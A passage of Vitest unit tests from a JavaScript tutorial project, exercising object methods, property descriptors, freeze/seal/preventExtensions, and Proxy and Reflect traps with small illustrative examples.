structuredClone(original) clone.address.city = 'LA' expect(original.address.city).toBe('NYC') expect(clone.address.city).toBe('LA') }) // From lines 248-256: structuredClone handles built-in types it('should handle Date and Set objects', () => { const data = { date: new Date('2024-01-01'), items: new Set([1, 2, 3]) } const clone = structuredClone(data) expect(clone.date instanceof Date).toBe(true) expect(clone.items instanceof Set).toBe(true) expect(clone.date.getTime()).toBe(data.date.getTime()) expect([...clone.items]).toEqual([1, 2, 3]) }) // From lines 261-268: structuredClone cannot clone functions it('should throw DataCloneError when cloning functions', () => { const obj = { greet: () => 'Hello' } expect(() => structuredClone(obj)).toThrow() }) // Additional: Handle circular references it('should handle circular references', () => { const obj = { name: 'circular' } obj.self = obj const clone = structuredClone(obj) expect(clone.name).toBe('circular') expect(clone.self).toBe(clone) // Points to itself expect(clone.self).not.toBe(obj) // But not original }) }) }) // ============================================================ // OBJECT.hasOwn() - SAFE PROPERTY CHECKING // From object-methods.mdx lines 280-330 // ============================================================ describe('Object.hasOwn()', () => { // From lines 287-292: Basic hasOwn usage it('should check for own properties', () => { const user = { name: 'Alice', age: 30 } expect(Object.hasOwn(user, 'name')).toBe(true) expect(Object.hasOwn(user, 'toString')).toBe(false) // inherited expect(Object.hasOwn(user, 'email')).toBe(false) // doesn't exist }) // From lines 296-305: Works with null prototype objects it('should work with null prototype objects', () => { const nullProto = Object.create(null) nullProto.id = 1 // hasOwnProperty doesn't exist on null-prototype objects expect(nullProto.hasOwnProperty).toBeUndefined() // Object.hasOwn works fine expect(Object.hasOwn(nullProto, 'id')).toBe(true) }) // From lines 309-315: Works when hasOwnProperty is overridden it('should work when hasOwnProperty is overridden', () => { const sneaky = { hasOwnProperty: () => false } expect(sneaky.hasOwnProperty('hasOwnProperty')).toBe(false) // wrong! expect(Object.hasOwn(sneaky, 'hasOwnProperty')).toBe(true) // correct! }) }) // ============================================================ // OBJECT.is() - PRECISE EQUALITY // From object-methods.mdx lines 335-380 // ============================================================ describe('Object.is()', () => { // From lines 340-347: Same as === for normal values it('should behave like === for normal values', () => { expect(Object.is(5, 5)).toBe(true) expect(Object.is('hello', 'hello')).toBe(true) expect(Object.is({}, {})).toBe(false) // different references }) // From lines 349-352: Different from === for NaN it('should return true for NaN === NaN', () => { expect(NaN === NaN).toBe(false) // === returns false expect(Object.is(NaN, NaN)).toBe(true) // Object.is returns true }) // From lines 349-352: Different from === for -0 it('should distinguish +0 from -0', () => { expect(0 === -0).toBe(true) // === returns true expect(Object.is(0, -0)).toBe(false) // Object.is returns false }) // From lines 356-367: NaN comparison example it('should detect NaN values correctly', () => { const value = NaN expect(value === NaN).toBe(false) expect(Object.is(value, NaN)).toBe(true) expect(Number.isNaN(value)).toBe(true) }) // From lines 369-376: Zero comparison example it('should compare zeros correctly', () => { const positiveZero = 0 const negativeZero = -0 expect(positiveZero === negativeZero).toBe(true) expect(Object.is(positiveZero, negativeZero)).toBe(false) }) }) // ============================================================ // OBJECT.groupBy() - GROUPING DATA (ES2024) // From object-methods.mdx lines 385-450 // ============================================================ describe('Object.groupBy()', () => { // From lines 392-412: Basic groupBy usage it('should group array elements by callback result', () => { const inventory = [ { name: 'apples', type: 'fruit', quantity: 5 }, { name: 'bananas', type: 'fruit', quantity: 3 }, { name: 'carrots', type: 'vegetable', quantity: 10 }, { name: 'broccoli', type: 'vegetable', quantity: 7 } ] const byType = Object.groupBy(inventory, item => item.type) expect(Object.keys(byType).sort()).toEqual(['fruit', 'vegetable']) expect(byType.fruit).toHaveLength(2) expect(byType.vegetable).toHaveLength(2) expect(byType.fruit[0].name).toBe('apples') expect(byType.vegetable[0].name).toBe('carrots') }) // From lines 416-434: Custom grouping logic it('should support custom grouping logic', () => { const products = [ { name: 'Laptop', price: 999 }, { name: 'Mouse', price: 29 }, { name: 'Monitor', price: 399 }, { name: 'Keyboard', price: 89 } ] const byPriceRange = Object.groupBy(products, product => { if (product.price < 50) return 'budget' if (product.price < 200) return 'mid-range' return 'premium' }) expect(byPriceRange.budget).toEqual([{ name: 'Mouse', price: 29 }]) expect(byPriceRange['mid-range']).toEqual([{ name: 'Keyboard', price: 89 }]) expect(byPriceRange.premium).toHaveLength(2) }) // Additional: Empty array handling it('should handle empty arrays', () => { const empty = [] const grouped = Object.groupBy(empty, item => item.type) expect(Object.keys(grouped)).toEqual([]) }) // Additional: Returns null-prototype object it('should return a null-prototype object', () => { const items = [{ type: 'a' }] const grouped = Object.groupBy(items, item => item.type) // Null prototype means no inherited properties expect(Object.getPrototypeOf(grouped)).toBe(null) }) }) // ============================================================ // INSPECTION METHODS // From object-methods.mdx lines 455-480 // ============================================================ describe('Inspection Methods', () => { describe('Object.getOwnPropertyNames()', () => { // From lines 460-464: Returns all own properties including non-enumerable it('should include non-enumerable properties', () => { const arr = [1, 2, 3] expect(Object.keys(arr)).toEqual(['0', '1', '2']) expect(Object.getOwnPropertyNames(arr)).toEqual(['0', '1', '2', 'length']) }) }) describe('Object.getOwnPropertySymbols()', () => { // From lines 468-476: Returns Symbol-keyed properties it('should return Symbol-keyed properties', () => { const id = Symbol('id') const obj = { name: 'Alice', [id]: 12345 } expect(Object.keys(obj)).toEqual(['name']) expect(Object.getOwnPropertySymbols(obj)).toEqual([id]) }) }) }) // ============================================================ // OBJECT PROTECTION METHODS (BRIEF) // From object-methods.mdx lines 485-510 // ============================================================ describe('Object Protection Methods', () => { // From lines 497-503: Object.freeze example // Note: In strict mode (which Vitest uses), these throw TypeError instead of silently failing it('should prevent modifications when frozen', () => { const config = { apiUrl: 'https://api.example.com' } Object.freeze(config) // In strict mode, this throws TypeError expect(() => { config.apiUrl = 'https://evil.com' }).toThrow(TypeError) expect(config.apiUrl).toBe('https://api.example.com') }) // Additional: Object.seal it('should allow modifications but not additions when sealed', () => { const obj = { existing: 'value' } Object.seal(obj) obj.existing = 'modified' // This works // Adding new property throws in strict mode expect(() => { obj.newProp = 'new' }).toThrow(TypeError) expect(obj.existing).toBe('modified') expect(obj.newProp).toBeUndefined() }) // Additional: Object.preventExtensions it('should prevent new properties when extensions prevented', () => { const obj = { a: 1 } Object.preventExtensions(obj) // Adding new property throws in strict mode expect(() => { obj.b = 2 }).toThrow(TypeError) obj.a = 10 // Modifying existing property still works expect(obj.a).toBe(10) expect(obj.b).toBeUndefined() }) }) // ============================================================ // COMMON PATTERNS // From object-methods.mdx lines 520-560 // ============================================================ describe('Common Patterns', () => { // From lines 525-533: Normalize API response it('should normalize array to lookup object', () => { const users = [ { id: 1, name: 'Alice' }, { id: 2, name: 'Bob' } ] const usersById = Object.fromEntries( users.map(user => [user.id, user]) ) expect(usersById).toEqual({ 1: { id: 1, name: 'Alice' }, 2: { id: 2, name: 'Bob' } }) expect(usersById[1].name).toBe('Alice') }) // From lines 537-548: Configuration merging it('should merge configuration with defaults', () => { function createClient(userOptions = {}) { const defaults = { timeout: 5000, retries: 3, baseUrl: 'https://api.example.com' } return Object.assign({}, defaults, userOptions) } const options = createClient({ timeout: 10000 }) expect(options.timeout).toBe(10000) expect(options.retries).toBe(3) expect(options.baseUrl).toBe('https://api.example.com') }) // From lines 552-557: Safe property access it('should safely check for properties in data', () => { function processData(data) { if (Object.hasOwn(data, 'userId')) { return data.userId } return null } expect(processData({ userId: 123 })).toBe(123) expect(processData({ name: 'Alice' })).toBe(null) expect(processData({})).toBe(null) }) }) // ============================================================ // OPENING EXAMPLE FROM DOCUMENTATION // From object-methods.mdx lines 10-25 // ============================================================ describe('Opening Example', () => { // From lines 10-20: Main demonstration it('should demonstrate the iteration trio and transformation', () => { const user = { name: 'Alice', age: 30, city: 'NYC' } expect(Object.keys(user)).toEqual(['name', 'age', 'city']) expect(Object.values(user)).toEqual(['Alice', 30, 'NYC']) expect(Object.entries(user)).toEqual([ ['name', 'Alice'], ['age', 30], ['city', 'NYC'] ]) const upperKeys = Object.fromEntries( Object.entries(user).map(([key, value]) => [key.toUpperCase(), value]) ) expect(upperKeys).toEqual({ NAME: 'Alice', AGE: 30, CITY: 'NYC' }) }) }) }) ================================================ FILE: tests/beyond/objects-properties/property-descriptors/property-descriptors.test.js ================================================ import { describe, it, expect, beforeEach } from 'vitest' describe('Property Descriptors', () => { describe('Basic Descriptor Structure', () => { it('should have all four attributes for a normal property', () => { const obj = { name: 'Alice' } const descriptor = Object.getOwnPropertyDescriptor(obj, 'name') expect(descriptor).toEqual({ value: 'Alice', writable: true, enumerable: true, configurable: true }) }) it('should default all flags to true when using normal assignment', () => { const obj = {} obj.prop = 'value' const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.writable).toBe(true) expect(descriptor.enumerable).toBe(true) expect(descriptor.configurable).toBe(true) }) it('should default flags to false when using defineProperty', () => { const obj = {} Object.defineProperty(obj, 'prop', { value: 'test' }) const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.writable).toBe(false) expect(descriptor.enumerable).toBe(false) expect(descriptor.configurable).toBe(false) }) }) describe('Writable Flag', () => { it('should allow modification when writable is true', () => { const obj = {} Object.defineProperty(obj, 'name', { value: 'Alice', writable: true, enumerable: true, configurable: true }) obj.name = 'Bob' expect(obj.name).toBe('Bob') }) it('should prevent modification when writable is false (throws in strict mode)', () => { const obj = {} Object.defineProperty(obj, 'name', { value: 'Alice', writable: false, enumerable: true, configurable: true }) // In strict mode (which ES modules use), this throws expect(() => { obj.name = 'Bob' }).toThrow(TypeError) expect(obj.name).toBe('Alice') }) it('should throw in strict mode when writing to non-writable property', () => { 'use strict' const obj = {} Object.defineProperty(obj, 'name', { value: 'Alice', writable: false, enumerable: true, configurable: true }) expect(() => { obj.name = 'Bob' }).toThrow(TypeError) }) it('should demonstrate Math.PI is non-writable', () => { const descriptor = Object.getOwnPropertyDescriptor(Math, 'PI') expect(descriptor.writable).toBe(false) expect(descriptor.value).toBe(3.141592653589793) // In strict mode, attempting to change it throws expect(() => { Math.PI = 3 }).toThrow(TypeError) expect(Math.PI).toBe(3.141592653589793) }) }) describe('Enumerable Flag', () => { it('should include enumerable properties in Object.keys()', () => { const obj = {} Object.defineProperty(obj, 'visible', { value: 1, enumerable: true }) Object.defineProperty(obj, 'hidden', { value: 2, enumerable: false }) expect(Object.keys(obj)).toEqual(['visible']) expect(Object.keys(obj)).not.toContain('hidden') }) it('should include enumerable properties in for...in loops', () => { const obj = {} Object.defineProperty(obj, 'visible', { value: 1, enumerable: true }) Object.defineProperty(obj, 'hidden', { value: 2, enumerable: false }) const keys = [] for (const key in obj) { keys.push(key) } expect(keys).toEqual(['visible']) }) it('should exclude non-enumerable properties from spread operator', () => { const obj = { visible: 1 } Object.defineProperty(obj, 'hidden', { value: 2, enumerable: false }) const copy = { ...obj } expect(copy).toEqual({ visible: 1 }) expect(copy.hidden).toBeUndefined() }) it('should exclude non-enumerable properties from JSON.stringify()', () => { const obj = { visible: 1 } Object.defineProperty(obj, 'hidden', { value: 2, enumerable: false }) const json = JSON.stringify(obj) expect(json).toBe('{"visible":1}') }) it('should still allow direct access to non-enumerable properties', () => { const obj = {} Object.defineProperty(obj, 'hidden', { value: 'secret', enumerable: false }) expect(obj.hidden).toBe('secret') }) it('should demonstrate Array.length is non-enumerable', () => { const arr = [1, 2, 3] const descriptor = Object.getOwnPropertyDescriptor(arr, 'length') expect(descriptor.enumerable).toBe(false) expect(Object.keys(arr)).toEqual(['0', '1', '2']) expect(Object.keys(arr)).not.toContain('length') }) }) describe('Configurable Flag', () => { it('should allow deletion when configurable is true', () => { const obj = {} Object.defineProperty(obj, 'deletable', { value: 1, configurable: true }) expect(delete obj.deletable).toBe(true) expect(obj.deletable).toBeUndefined() }) it('should prevent deletion when configurable is false (throws in strict mode)', () => { const obj = {} Object.defineProperty(obj, 'permanent', { value: 1, configurable: false }) // In strict mode, this throws expect(() => { delete obj.permanent }).toThrow(TypeError) expect(obj.permanent).toBe(1) }) it('should allow reconfiguration when configurable is true', () => { const obj = {} Object.defineProperty(obj, 'prop', { value: 1, enumerable: false, configurable: true }) // Change enumerable flag Object.defineProperty(obj, 'prop', { enumerable: true }) const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.enumerable).toBe(true) }) it('should prevent reconfiguration when configurable is false', () => { const obj = {} Object.defineProperty(obj, 'prop', { value: 1, enumerable: false, configurable: false }) expect(() => { Object.defineProperty(obj, 'prop', { enumerable: true }) }).toThrow(TypeError) }) it('should still allow writable true -> false even when non-configurable', () => { const obj = {} Object.defineProperty(obj, 'prop', { value: 1, writable: true, configurable: false }) // This should work Object.defineProperty(obj, 'prop', { writable: false }) const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.writable).toBe(false) }) it('should NOT allow writable false -> true when non-configurable', () => { const obj = {} Object.defineProperty(obj, 'prop', { value: 1, writable: false, configurable: false }) expect(() => { Object.defineProperty(obj, 'prop', { writable: true }) }).toThrow(TypeError) }) }) describe('Object.defineProperties()', () => { it('should define multiple properties at once', () => { const obj = {} Object.defineProperties(obj, { name: { value: 'Alice', writable: true, enumerable: true, configurable: true }, age: { value: 30, writable: false, enumerable: true, configurable: false } }) expect(obj.name).toBe('Alice') expect(obj.age).toBe(30) obj.name = 'Bob' expect(obj.name).toBe('Bob') // In strict mode, writing to non-writable throws expect(() => { obj.age = 40 }).toThrow(TypeError) expect(obj.age).toBe(30) // Unchanged }) }) describe('Object.getOwnPropertyDescriptors()', () => { it('should return descriptors for all own properties', () => { const obj = { a: 1 } Object.defineProperty(obj, 'b', { value: 2, writable: false, enumerable: false, configurable: false }) const descriptors = Object.getOwnPropertyDescriptors(obj) expect(descriptors.a).toEqual({ value: 1, writable: true, enumerable: true, configurable: true }) expect(descriptors.b).toEqual({ value: 2, writable: false, enumerable: false, configurable: false }) }) it('should enable proper object cloning with descriptors', () => { const original = {} Object.defineProperty(original, 'id', { value: 1, writable: false, enumerable: true, configurable: false }) // Clone preserving descriptors const clone = Object.defineProperties( {}, Object.getOwnPropertyDescriptors(original) ) const cloneDescriptor = Object.getOwnPropertyDescriptor(clone, 'id') expect(cloneDescriptor.writable).toBe(false) expect(cloneDescriptor.configurable).toBe(false) }) it('should demonstrate that spread does not preserve descriptors', () => { const original = {} Object.defineProperty(original, 'id', { value: 1, writable: false, enumerable: true, configurable: false }) // Spread loses descriptors const copy = { ...original } const copyDescriptor = Object.getOwnPropertyDescriptor(copy, 'id') expect(copyDescriptor.writable).toBe(true) // Lost! expect(copyDescriptor.configurable).toBe(true) // Lost! }) }) describe('Accessor Descriptors (Getters/Setters)', () => { it('should define a property with getter and setter', () => { const user = { _name: 'Alice' } Object.defineProperty(user, 'name', { get() { return this._name.toUpperCase() }, set(value) { this._name = value }, enumerable: true, configurable: true }) expect(user.name).toBe('ALICE') user.name = 'Bob' expect(user.name).toBe('BOB') }) it('should create a read-only property with getter only (throws in strict mode)', () => { const circle = { radius: 5 } Object.defineProperty(circle, 'area', { get() { return Math.PI * this.radius ** 2 }, enumerable: true, configurable: true }) expect(circle.area).toBeCloseTo(78.54, 1) // In strict mode, assignment to getter-only throws expect(() => { circle.area = 100 }).toThrow(TypeError) expect(circle.area).toBeCloseTo(78.54, 1) }) it('should throw when mixing value and get in a descriptor', () => { expect(() => { Object.defineProperty({}, 'prop', { value: 42, get() { return 42 } }) }).toThrow(TypeError) }) it('should throw when mixing writable and get in a descriptor', () => { expect(() => { Object.defineProperty({}, 'prop', { writable: true, get() { return 42 } }) }).toThrow(TypeError) }) it('should have get/set instead of value/writable in accessor descriptor', () => { const obj = {} Object.defineProperty(obj, 'prop', { get() { return 'hello' }, set(v) { }, enumerable: true, configurable: true }) const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.get).toBeDefined() expect(descriptor.set).toBeDefined() expect(descriptor.value).toBeUndefined() expect(descriptor.writable).toBeUndefined() }) }) describe('Object.preventExtensions()', () => { it('should prevent adding new properties (throws in strict mode)', () => { const obj = { existing: 1 } Object.preventExtensions(obj) expect(() => { obj.newProp = 2 }).toThrow(TypeError) expect(obj.newProp).toBeUndefined() }) it('should still allow modifying existing properties', () => { const obj = { existing: 1 } Object.preventExtensions(obj) obj.existing = 2 expect(obj.existing).toBe(2) }) it('should still allow deleting existing properties', () => { const obj = { existing: 1 } Object.preventExtensions(obj) delete obj.existing expect(obj.existing).toBeUndefined() }) it('should return false for Object.isExtensible()', () => { const obj = {} Object.preventExtensions(obj) expect(Object.isExtensible(obj)).toBe(false) }) }) describe('Object.seal()', () => { it('should prevent adding new properties (throws in strict mode)', () => { const obj = { existing: 1 } Object.seal(obj) expect(() => { obj.newProp = 2 }).toThrow(TypeError) expect(obj.newProp).toBeUndefined() }) it('should prevent deleting existing properties (throws in strict mode)', () => { const obj = { existing: 1 } Object.seal(obj) expect(() => { delete obj.existing }).toThrow(TypeError) expect(obj.existing).toBe(1) }) it('should still allow modifying existing values', () => { const obj = { existing: 1 } Object.seal(obj) obj.existing = 2 expect(obj.existing).toBe(2) }) it('should set configurable to false on all properties', () => { const obj = { prop: 1 } Object.seal(obj) const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.configurable).toBe(false) }) it('should return true for Object.isSealed()', () => { const obj = { prop: 1 } Object.seal(obj) expect(Object.isSealed(obj)).toBe(true) }) }) describe('Object.freeze()', () => { it('should prevent adding new properties (throws in strict mode)', () => { const obj = { existing: 1 } Object.freeze(obj) expect(() => { obj.newProp = 2 }).toThrow(TypeError) expect(obj.newProp).toBeUndefined() }) it('should prevent deleting existing properties (throws in strict mode)', () => { const obj = { existing: 1 } Object.freeze(obj) expect(() => { delete obj.existing }).toThrow(TypeError) expect(obj.existing).toBe(1) }) it('should prevent modifying existing values (throws in strict mode)', () => { const obj = { existing: 1 } Object.freeze(obj) expect(() => { obj.existing = 2 }).toThrow(TypeError) expect(obj.existing).toBe(1) // Unchanged }) it('should set configurable and writable to false on all properties', () => { const obj = { prop: 1 } Object.freeze(obj) const descriptor = Object.getOwnPropertyDescriptor(obj, 'prop') expect(descriptor.configurable).toBe(false) expect(descriptor.writable).toBe(false) }) it('should return true for Object.isFrozen()', () => { const obj = { prop: 1 } Object.freeze(obj) expect(Object.isFrozen(obj)).toBe(true) }) it('should NOT freeze nested objects (shallow freeze)', () => { const obj = { outer: 1, nested: { inner: 2 } } Object.freeze(obj) // Outer property is frozen (throws in strict mode) expect(() => { obj.outer = 100 }).toThrow(TypeError) expect(obj.outer).toBe(1) // Frozen // But nested object is NOT frozen obj.nested.inner = 200 expect(obj.nested.inner).toBe(200) // NOT frozen! }) }) describe('Real-World Use Cases', () => { it('should create a constant configuration object (throws in strict mode)', () => { const Config = {} Object.defineProperties(Config, { API_URL: { value: 'https://api.example.com', writable: false, enumerable: true, configurable: false }, TIMEOUT: { value: 5000, writable: false, enumerable: true, configurable: false } }) expect(() => { Config.API_URL = 'https://evil.com' }).toThrow(TypeError) expect(Config.API_URL).toBe('https://api.example.com') expect(() => { delete Config.TIMEOUT }).toThrow(TypeError) expect(Config.TIMEOUT).toBe(5000) }) it('should hide internal properties from serialization', () => { const user = { name: 'Alice' } Object.defineProperty(user, '_secret', { value: 'password123', enumerable: false }) const json = JSON.stringify(user) expect(json).toBe('{"name":"Alice"}') expect(JSON.parse(json)._secret).toBeUndefined() // But the property still exists expect(user._secret).toBe('password123') }) it('should create computed properties that auto-update', () => { const rectangle = { width: 10, height: 5 } Object.defineProperty(rectangle, 'area', { get() { return this.width * this.height }, enumerable: true, configurable: true }) expect(rectangle.area).toBe(50) rectangle.width = 20 expect(rectangle.area).toBe(100) // Auto-updated! }) it('should create properties with validation', () => { const person = { _age: 0 } Object.defineProperty(person, 'age', { get() { return this._age }, set(value) { if (typeof value !== 'number' || value < 0) { throw new TypeError('Age must be a positive number') } this._age = value }, enumerable: true, configurable: true }) person.age = 25 expect(person.age).toBe(25) expect(() => { person.age = -5 }).toThrow(TypeError) expect(() => { person.age = 'old' }).toThrow(TypeError) }) }) describe('Edge Cases', () => { it('should return undefined for non-existent property descriptors', () => { const obj = { a: 1 } const descriptor = Object.getOwnPropertyDescriptor(obj, 'nonexistent') expect(descriptor).toBeUndefined() }) it('should work with Symbol property keys', () => { const secretKey = Symbol('secret') const obj = {} Object.defineProperty(obj, secretKey, { value: 'hidden', enumerable: false }) expect(obj[secretKey]).toBe('hidden') expect(Object.keys(obj)).toEqual([]) expect(Object.getOwnPropertySymbols(obj)).toEqual([secretKey]) }) it('should allow changing value via defineProperty even when writable is false but configurable is true', () => { const obj = {} Object.defineProperty(obj, 'prop', { value: 1, writable: false, configurable: true }) // Assignment throws in strict mode expect(() => { obj.prop = 2 }).toThrow(TypeError) expect(obj.prop).toBe(1) // But defineProperty works! Object.defineProperty(obj, 'prop', { value: 2 }) expect(obj.prop).toBe(2) }) }) }) ================================================ FILE: tests/beyond/objects-properties/proxy-reflect/proxy-reflect.test.js ================================================ import { describe, it, expect } from 'vitest' describe('Proxy and Reflect', () => { // ============================================================ // WHAT IS A PROXY? // From proxy-reflect.mdx lines 30-45 // ============================================================ describe('What is a Proxy?', () => { // From lines 30-40: Basic Proxy with get trap it('should return custom value for missing properties', () => { const target = { message: 'hello' } const handler = { get(target, prop) { return prop in target ? target[prop] : 'Property not found' } } const proxy = new Proxy(target, handler) expect(proxy.message).toBe('hello') expect(proxy.missing).toBe('Property not found') }) // From lines 42-48: Empty handler pass-through it('should forward operations to target with empty handler', () => { const target = { x: 10 } const proxy = new Proxy(target, {}) proxy.y = 20 expect(target.y).toBe(20) }) }) // ============================================================ // THE GET TRAP: INTERCEPTING PROPERTY ACCESS // From proxy-reflect.mdx lines 95-140 // ============================================================ describe('The get Trap', () => { // From lines 95-105: Basic get trap logging it('should intercept property reads', () => { const logs = [] const handler = { get(target, prop, receiver) { logs.push(`Accessing: ${prop}`) return target[prop] } } const user = new Proxy({ name: 'Alice' }, handler) const name = user.name expect(name).toBe('Alice') expect(logs).toContain('Accessing: name') }) // From lines 115-122: Default values pattern it('should return default value for missing properties', () => { const defaults = new Proxy({}, { get(target, prop) { return prop in target ? target[prop] : 0 } }) defaults.x = 10 expect(defaults.x).toBe(10) expect(defaults.missing).toBe(0) }) // From lines 126-140: Negative array indices it('should allow negative array indices', () => { function createNegativeArray(arr) { return new Proxy(arr, { get(target, prop, receiver) { const index = Number(prop) if (index < 0) { return target[target.length + index] } return Reflect.get(target, prop, receiver) } }) } const arr = createNegativeArray([1, 2, 3, 4, 5]) expect(arr[-1]).toBe(5) expect(arr[-2]).toBe(4) expect(arr[0]).toBe(1) }) }) // ============================================================ // THE SET TRAP: INTERCEPTING PROPERTY ASSIGNMENT // From proxy-reflect.mdx lines 145-195 // ============================================================ describe('The set Trap', () => { // From lines 145-155: Basic set trap it('should intercept property writes', () => { const logs = [] const handler = { set(target, prop, value, receiver) { logs.push(`Setting ${prop} to ${value}`) target[prop] = value return true } } const obj = new Proxy({}, handler) obj.x = 10 expect(logs).toContain('Setting x to 10') expect(obj.x).toBe(10) }) // From lines 165-185: Validation pattern it('should validate property values', () => { const validator = { set(target, prop, value) { if (prop === 'age') { if (typeof value !== 'number') { throw new TypeError('Age must be a number') } if (value < 0 || value > 150) { throw new RangeError('Age must be between 0 and 150') } } target[prop] = value return true } } const person = new Proxy({}, validator) // Valid assignments person.name = 'Alice' expect(person.name).toBe('Alice') person.age = 30 expect(person.age).toBe(30) // Invalid assignments expect(() => { person.age = -5 }).toThrow(RangeError) expect(() => { person.age = 'thirty' }).toThrow(TypeError) }) // From lines 155-160: set must return true it('should throw TypeError if set returns false in strict mode', () => { const proxy = new Proxy({}, { set() { return false } }) expect(() => { 'use strict' proxy.x = 10 }).toThrow(TypeError) }) }) // ============================================================ // THE HAS TRAP: INTERCEPTING IN OPERATOR // From proxy-reflect.mdx lines 200-215 // ============================================================ describe('The has Trap', () => { // From lines 200-210: Range checking with in operator it('should intercept the in operator', () => { const range = new Proxy({ start: 1, end: 10 }, { has(target, prop) { const num = Number(prop) return num >= target.start && num <= target.end } }) expect(5 in range).toBe(true) expect(15 in range).toBe(false) expect(1 in range).toBe(true) expect(10 in range).toBe(true) expect(0 in range).toBe(false) }) }) // ============================================================ // THE DELETEPROPERTY TRAP // From proxy-reflect.mdx lines 220-235 // ============================================================ describe('The deleteProperty Trap', () => { // From lines 220-232: Protected properties it('should prevent deletion of protected properties', () => { const protectedObj = new Proxy({ id: 1, name: 'Alice' }, { deleteProperty(target, prop) { if (prop === 'id') { throw new Error('Cannot delete id property') } delete target[prop] return true } }) delete protectedObj.name expect(protectedObj.name).toBeUndefined() expect(() => { delete protectedObj.id }).toThrow('Cannot delete id property') }) }) // ============================================================ // THE APPLY AND CONSTRUCT TRAPS // From proxy-reflect.mdx lines 240-275 // ============================================================ describe('The apply and construct Traps', () => { // From lines 240-252: Apply trap for function calls it('should intercept function calls with apply trap', () => { function sum(a, b) { return a + b } const logs = [] const loggedSum = new Proxy(sum, { apply(target, thisArg, args) { logs.push(`Called with: ${args}`) return target.apply(thisArg, args) } }) const result = loggedSum(1, 2) expect(result).toBe(3) expect(logs).toContain('Called with: 1,2') }) // From lines 256-270: Construct trap for new operator it('should intercept new operator with construct trap', () => { class User { constructor(name) { this.name = name } } const logs = [] const TrackedUser = new Proxy(User, { construct(target, args) { logs.push(`Creating user: ${args[0]}`) return new target(...args) } }) const user = new TrackedUser('Alice') expect(user.name).toBe('Alice') expect(logs).toContain('Creating user: Alice') }) }) // ============================================================ // THE OWNKEYS TRAP // From proxy-reflect.mdx lines 280-295 // ============================================================ describe('The ownKeys Trap', () => { // From lines 280-292: Filtering properties it('should filter out private properties from Object.keys', () => { const user = { name: 'Alice', age: 30, _password: 'secret123' } const safeUser = new Proxy(user, { ownKeys(target) { return Object.keys(target).filter(key => !key.startsWith('_')) } }) expect(Object.keys(safeUser)).toEqual(['name', 'age']) expect(Object.keys(safeUser)).not.toContain('_password') }) }) // ============================================================ // WHY REFLECT EXISTS // From proxy-reflect.mdx lines 300-350 // ============================================================ describe('Reflect', () => { // From lines 300-320: Basic Reflect methods it('should provide equivalent operations to object methods', () => { const obj = { x: 1 } // Reflect.get vs obj[prop] expect(Reflect.get(obj, 'x')).toBe(1) expect(Reflect.get(obj, 'x')).toBe(obj.x) // Reflect.set vs obj[prop] = value expect(Reflect.set(obj, 'y', 2)).toBe(true) expect(obj.y).toBe(2) // Reflect.has vs 'prop' in obj expect(Reflect.has(obj, 'x')).toBe(true) expect(Reflect.has(obj, 'z')).toBe(false) // Reflect.deleteProperty vs delete obj[prop] expect(Reflect.deleteProperty(obj, 'y')).toBe(true) expect(obj.y).toBeUndefined() }) // From lines 325-340: Receiver importance with getters it('should properly forward receiver for getters', () => { const user = { _name: 'Alice', get name() { return this._name } } const proxy = new Proxy(user, { get(target, prop, receiver) { return Reflect.get(target, prop, receiver) } }) expect(proxy.name).toBe('Alice') }) }) // ============================================================ // PRACTICAL PATTERNS // From proxy-reflect.mdx lines 355-430 // ============================================================ describe('Practical Patterns', () => { // From lines 355-375: Observable objects it('should create observable objects that notify on change', () => { const changes = [] function observable(target, onChange) { return new Proxy(target, { set(target, prop, value, receiver) { const oldValue = target[prop] const result = Reflect.set(target, prop, value, receiver) if (result && oldValue !== value) { onChange(prop, oldValue, value) } return result } }) } const state = observable({ count: 0 }, (prop, oldVal, newVal) => { changes.push(`${prop} changed from ${oldVal} to ${newVal}`) }) state.count = 1 state.count = 2 expect(changes).toContain('count changed from 0 to 1') expect(changes).toContain('count changed from 1 to 2') }) // From lines 380-410: Access control pattern it('should implement access control for private properties', () => { const privateHandler = { get(target, prop) { if (prop.startsWith('_')) { throw new Error(`Access denied: ${prop} is private`) } return Reflect.get(...arguments) }, set(target, prop, value) { if (prop.startsWith('_')) { throw new Error(`Access denied: ${prop} is private`) } return Reflect.set(...arguments) }, ownKeys(target) { return Object.keys(target).filter(key => !key.startsWith('_')) } } const user = new Proxy({ name: 'Alice', _password: 'secret' }, privateHandler) expect(user.name).toBe('Alice') expect(Object.keys(user)).toEqual(['name']) expect(() => { user._password }).toThrow('Access denied: _password is private') }) // From lines 415-430: Logging/debugging pattern it('should log all property access', () => { const logs = [] function createLogged(target, name = 'Object') { return new Proxy(target, { get(target, prop, receiver) { logs.push(`[${name}] GET ${String(prop)}`) return Reflect.get(target, prop, receiver) }, set(target, prop, value, receiver) { logs.push(`[${name}] SET ${String(prop)} = ${value}`) return Reflect.set(target, prop, value, receiver) } }) } const user = createLogged({ name: 'Alice' }, 'User') const name = user.name user.age = 30 expect(logs).toContain('[User] GET name') expect(logs).toContain('[User] SET age = 30') }) }) // ============================================================ // REVOCABLE PROXIES // From proxy-reflect.mdx lines 435-455 // ============================================================ describe('Revocable Proxies', () => { // From lines 435-450: Proxy.revocable() it('should create a proxy that can be disabled', () => { const target = { secret: 'classified info' } const { proxy, revoke } = Proxy.revocable(target, {}) expect(proxy.secret).toBe('classified info') revoke() expect(() => { proxy.secret }).toThrow(TypeError) }) }) // ============================================================ // LIMITATIONS AND GOTCHAS // From proxy-reflect.mdx lines 460-510 // ============================================================ describe('Limitations and Gotchas', () => { // From lines 470-490: Built-in objects workaround it('should work with Map using method binding workaround', () => { const map = new Map() const proxy = new Proxy(map, { get(target, prop, receiver) { const value = Reflect.get(target, prop, receiver) return typeof value === 'function' ? value.bind(target) : value } }) proxy.set('key', 'value') expect(proxy.get('key')).toBe('value') }) // From lines 495-505: Proxy identity it('should demonstrate that proxy is a different object from target', () => { const target = {} const proxy = new Proxy(target, {}) expect(proxy === target).toBe(false) const set = new Set([target]) expect(set.has(proxy)).toBe(false) }) }) // ============================================================ // TEST YOUR KNOWLEDGE - Q&A SECTION TESTS // From proxy-reflect.mdx lines 530-620 // ============================================================ describe('Test Your Knowledge', () => { // Q1: set trap returning false it('should demonstrate set trap returning 